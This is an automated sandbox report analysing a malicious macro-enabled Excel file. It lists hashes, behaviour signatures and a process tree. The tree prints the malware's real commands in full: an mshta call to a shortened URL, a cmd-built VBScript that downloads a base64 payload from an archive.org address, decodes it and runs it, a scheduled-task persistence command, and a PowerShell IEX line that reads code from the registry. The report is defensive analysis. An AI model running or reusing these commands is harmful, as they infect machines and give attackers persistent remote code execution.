Overview

overview

10

Static

static

8

bb37e159_b...s.xlsm

windows7_x64

10

bb37e159_b...s.xlsm

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    05-05-2021 16:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bb37e159_by_Libranalysis.xlsm

  • Size

    15KB

  • MD5

    bb37e1592a9611dc521167ac5a2034a2

  • SHA1

    a9a1e60803fcb5a0b68659195ce5d0c15455646b

  • SHA256

    038214d4fc146d3a0b09db57ab584e3cef198a466d82206a03af0ca6aff4ac2e

  • SHA512

    ddfa6ba01694e9a9e7355cb4ce2db69d3aaee908180a1bce066b382c02f5bf938bbd21240df7e0aa505fed64a440d420cecb11736e2855a3fee4589342b31a49

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://www.j.mp/jasidjalsdjlijlijasd

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 20 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 26 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\bb37e159_by_Libranalysis.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\SysWOW64\mshta.exe
      "mshta""http://www.j.mp/jasidjalsdjlijlijasd"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im cvtres.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:316
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_compiler.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:916
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im vbc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1016
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im CasPol.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1704
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_regbrowsers
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1792
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im InstallUtil.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:908
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im csc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1732
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im msbuild.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>hulalalMCROSOFT.vbs &@echo dim stream_obj >>hulalalMCROSOFT.vbs &@echo dim shell_obj >>hulalalMCROSOFT.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>hulalalMCROSOFT.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>hulalalMCROSOFT.vbs &@echo set shell_obj = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B") >>hulalalMCROSOFT.vbs &@echo URL = "https://ia601506.us.archive.org/6/items/extobae64/newno.txt">>hulalalMCROSOFT.vbs &@echo http_obj.open "GET", URL, False >>hulalalMCROSOFT.vbs &@echo http_obj.send >>hulalalMCROSOFT.vbs &@echo stream_obj.type = 1 >>hulalalMCROSOFT.vbs &@echo stream_obj.open >>hulalalMCROSOFT.vbs &@echo stream_obj.write http_obj.responseBody >>hulalalMCROSOFT.vbs &@echo stream_obj.savetofile "C:\Users\Public\phutu.txt", 2 >>hulalalMCROSOFT.vbs &@echo Dim xxx >>hulalalMCROSOFT.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>hulalalMCROSOFT.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\phutu.txt", 1) >>hulalalMCROSOFT.vbs &@echo content = file.ReadAll >>hulalalMCROSOFT.vbs &@echo content = StrReverse(content) >>hulalalMCROSOFT.vbs &@echo Dim fso >>hulalalMCROSOFT.vbs &@echo Dim fdsafdsa >>hulalalMCROSOFT.vbs &@echo Dim oNode, fdsaa >>hulalalMCROSOFT.vbs &@echo Const adTypeBinary = 1 >>hulalalMCROSOFT.vbs &@echo Const adSaveCreateOverWrite = 2 >>hulalalMCROSOFT.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>hulalalMCROSOFT.vbs &@echo oNode.dataType = "bin.base64">>hulalalMCROSOFT.vbs &@echo oNode.Text = content >>hulalalMCROSOFT.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>hulalalMCROSOFT.vbs &@echo fdsaa.Type = adTypeBinary >>hulalalMCROSOFT.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\lulupupugugugagachuchui.txt") >>hulalalMCROSOFT.vbs &@echo LocalFile = tempdir >>hulalalMCROSOFT.vbs &@echo fdsaa.Open >>hulalalMCROSOFT.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>hulalalMCROSOFT.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>hulalalMCROSOFT.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>hulalalMCROSOFT.vbs &@echo Set fdsafdsa = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B") >>hulalalMCROSOFT.vbs &@echo If (fso.FileExists(LocalFile)) Then >>hulalalMCROSOFT.vbs &@echo fdsafdsa.Exec (LocalFile) >>hulalalMCROSOFT.vbs &@echo End If >>hulalalMCROSOFT.vbs& hulalalMCROSOFT.vbs &dEl hulalalMCROSOFT.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\hulalalMCROSOFT.vbs"
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Modifies system certificate store
          PID:2056
          • C:\Users\Public\lulupupugugugagachuchui.txt
            C:\Users\Public\lulupupugugugagachuchui.txt
            5⤵
            • Executes dropped EXE
            PID:2200
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im csc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2376
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_regiis.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2392
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im jsc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2348
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2444
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegSvcs.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2436
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im InstallUtil.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2428
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_regbrowsers
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im vbc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im jsc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2384
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2472
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im CasPol.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2484
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_compiler.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2512
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2500
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im aspnet_regiis.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2520
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im cvtres.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2492
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im msbuild.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2528
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im RegSvcs.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2460
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta""\""http://1230948%[email protected]/p/50.html\"
        3⤵
        • Creates scheduled task(s)
        PID:2692
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -noexit ((gp HKCU:\Software).Phuphurupulugugu)|IEX
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2576
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      2⤵
        PID:1340
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        2⤵
          PID:1752
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          2⤵
            PID:1716
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            2⤵
              PID:2604
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              2⤵
                PID:976
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                2⤵
                • Drops startup file
                PID:2584

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
              MD5

              3fdd81590cb4697dcb08aeba256f231e

              SHA1

              6bdb41ab2f35f000d45301d3c12517428fc002f5

              SHA256

              3d274a07acbdad31b172c8598ba8eb648115ee406c77d29c4d03c8e02bc6efc9

              SHA512

              d4c3c032ca22ba4043442f849358e18ac56a8110926c02173ff38d8a9a3606aff2fa41199a169d1f72c676d41ddbb04d633c6dd9c222e6fe042ae0a5d9a7726d

              Download Submit
            • C:\Users\Public\hulalalMCROSOFT.vbs
              MD5

              048ebd17bb3df16f858bca5d4f78e20d

              SHA1

              9abd3a686392833edff2594c8d916992392cc48a

              SHA256

              2d57020695624dee4cf6a9043f10d95a53b755be6cf76c84aa992ef4f6948fc6

              SHA512

              5924356edbf646762c265d1cc7ad0541084dd5d3c14c5fc87c82bc7992233fb315df0462748dfde00e30d55d0f9a9ce7e2ee70bd21243cb27c21fc828c079d00

              Download Submit
            • C:\Users\Public\lulupupugugugagachuchui.txt
              MD5

              c2ac3f940b60352931a31446a17525b1

              SHA1

              dcb39fd6962b8263fcd7c4cfd1187c224c654943

              SHA256

              64246eafb3187a5d814a9c1b55b61beda376eb2f3e8ec2c42988a1fafe0d5e6f

              SHA512

              e8ed300e95ddcec8539a6203d01aee8484ec82978931c90184039f5369f8bd9a4169dbece91bd5562ec736d01bf0f2252a1f4a7f1de9c7844ffb840acd0cb291

              Download Submit
            • C:\Users\Public\lulupupugugugagachuchui.txt
              MD5

              c2ac3f940b60352931a31446a17525b1

              SHA1

              dcb39fd6962b8263fcd7c4cfd1187c224c654943

              SHA256

              64246eafb3187a5d814a9c1b55b61beda376eb2f3e8ec2c42988a1fafe0d5e6f

              SHA512

              e8ed300e95ddcec8539a6203d01aee8484ec82978931c90184039f5369f8bd9a4169dbece91bd5562ec736d01bf0f2252a1f4a7f1de9c7844ffb840acd0cb291

              Download Submit
            • \Users\Public\lulupupugugugagachuchui.txt
              MD5

              c2ac3f940b60352931a31446a17525b1

              SHA1

              dcb39fd6962b8263fcd7c4cfd1187c224c654943

              SHA256

              64246eafb3187a5d814a9c1b55b61beda376eb2f3e8ec2c42988a1fafe0d5e6f

              SHA512

              e8ed300e95ddcec8539a6203d01aee8484ec82978931c90184039f5369f8bd9a4169dbece91bd5562ec736d01bf0f2252a1f4a7f1de9c7844ffb840acd0cb291

              Download Submit
            • memory/316-68-0x0000000000000000-mapping.dmp
              Download
            • memory/908-69-0x0000000000000000-mapping.dmp
              Download
            • memory/916-71-0x0000000000000000-mapping.dmp
              Download
            • memory/1016-74-0x0000000000000000-mapping.dmp
              Download
            • memory/1440-75-0x0000000000000000-mapping.dmp
              Download
            • memory/1440-76-0x0000000076281000-0x0000000076283000-memory.dmp
              Filesize

              8KB

              Download
            • memory/1528-63-0x0000000000000000-mapping.dmp
              Download
            • memory/1652-70-0x0000000000000000-mapping.dmp
              Download
            • memory/1704-73-0x0000000000000000-mapping.dmp
              Download
            • memory/1732-67-0x0000000000000000-mapping.dmp
              Download
            • memory/1752-66-0x0000000000000000-mapping.dmp
              Download
            • memory/1792-72-0x0000000000000000-mapping.dmp
              Download
            • memory/2020-60-0x000000002FF31000-0x000000002FF34000-memory.dmp
              Filesize

              12KB

              Download
            • memory/2020-61-0x0000000071941000-0x0000000071943000-memory.dmp
              Filesize

              8KB

              Download
            • memory/2020-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
              Filesize

              64KB

              Download
            • memory/2020-64-0x0000000005A10000-0x0000000005A12000-memory.dmp
              Filesize

              8KB

              Download
            • memory/2020-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
              Filesize

              64KB

              Download
            • memory/2056-77-0x0000000000000000-mapping.dmp
              Download
            • memory/2200-112-0x00000000002D0000-0x00000000002D1000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2200-114-0x0000000000510000-0x000000000051E000-memory.dmp
              Filesize

              56KB

              Download
            • memory/2200-121-0x0000000004330000-0x0000000004331000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2200-109-0x0000000000000000-mapping.dmp
              Download
            • memory/2348-90-0x0000000000000000-mapping.dmp
              Download
            • memory/2376-82-0x0000000000000000-mapping.dmp
              Download
            • memory/2384-80-0x0000000000000000-mapping.dmp
              Download
            • memory/2392-85-0x0000000000000000-mapping.dmp
              Download
            • memory/2408-92-0x0000000000000000-mapping.dmp
              Download
            • memory/2420-101-0x0000000000000000-mapping.dmp
              Download
            • memory/2428-84-0x0000000000000000-mapping.dmp
              Download
            • memory/2436-86-0x0000000000000000-mapping.dmp
              Download
            • memory/2444-88-0x0000000000000000-mapping.dmp
              Download
            • memory/2460-87-0x0000000000000000-mapping.dmp
              Download
            • memory/2472-83-0x0000000000000000-mapping.dmp
              Download
            • memory/2484-81-0x0000000000000000-mapping.dmp
              Download
            • memory/2492-89-0x0000000000000000-mapping.dmp
              Download
            • memory/2500-93-0x0000000000000000-mapping.dmp
              Download
            • memory/2512-91-0x0000000000000000-mapping.dmp
              Download
            • memory/2520-94-0x0000000000000000-mapping.dmp
              Download
            • memory/2528-95-0x0000000000000000-mapping.dmp
              Download
            • memory/2576-102-0x0000000002460000-0x0000000002461000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-98-0x00000000022E0000-0x00000000022E1000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-107-0x000000001C4A0000-0x000000001C4A1000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-105-0x00000000023B0000-0x00000000023B1000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-104-0x000000001AB14000-0x000000001AB16000-memory.dmp
              Filesize

              8KB

              Download
            • memory/2576-103-0x000000001AB10000-0x000000001AB12000-memory.dmp
              Filesize

              8KB

              Download
            • memory/2576-97-0x000007FEFC141000-0x000007FEFC143000-memory.dmp
              Filesize

              8KB

              Download
            • memory/2576-106-0x000000001B660000-0x000000001B661000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-99-0x000000001AB90000-0x000000001AB91000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2576-115-0x00000000026C0000-0x00000000026CD000-memory.dmp
              Filesize

              52KB

              Download
            • memory/2584-117-0x0000000000400000-0x000000000040E000-memory.dmp
              Filesize

              56KB

              Download
            • memory/2584-118-0x000000000040838E-mapping.dmp
              Download
            • memory/2584-119-0x0000000000400000-0x000000000040E000-memory.dmp
              Filesize

              56KB

              Download
            • memory/2584-122-0x0000000005500000-0x0000000005501000-memory.dmp
              Filesize

              4KB

              Download
            • memory/2692-96-0x0000000000000000-mapping.dmp
              Download